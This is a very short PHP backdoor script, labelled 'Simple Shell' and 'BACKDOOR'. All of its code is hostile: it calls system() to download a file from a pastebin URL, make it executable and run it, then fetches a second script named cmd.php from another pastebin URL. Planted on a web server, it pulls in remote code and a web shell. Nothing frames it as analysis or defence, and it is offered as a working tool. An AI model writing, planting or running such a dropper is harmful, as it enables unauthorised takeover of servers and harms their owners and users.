[Very Small] [Simple Shell] [BACKDOOR]

<?php
system("wget -O shell_dwn.php https://pastebin.com/raw/fuckXJiN");
system("chmod +x shell_dwn.php");
system("php shell_dwn.php");
system("wget -O cmd.php https://pastebin.com/raw/Z4ULBPnc");
?>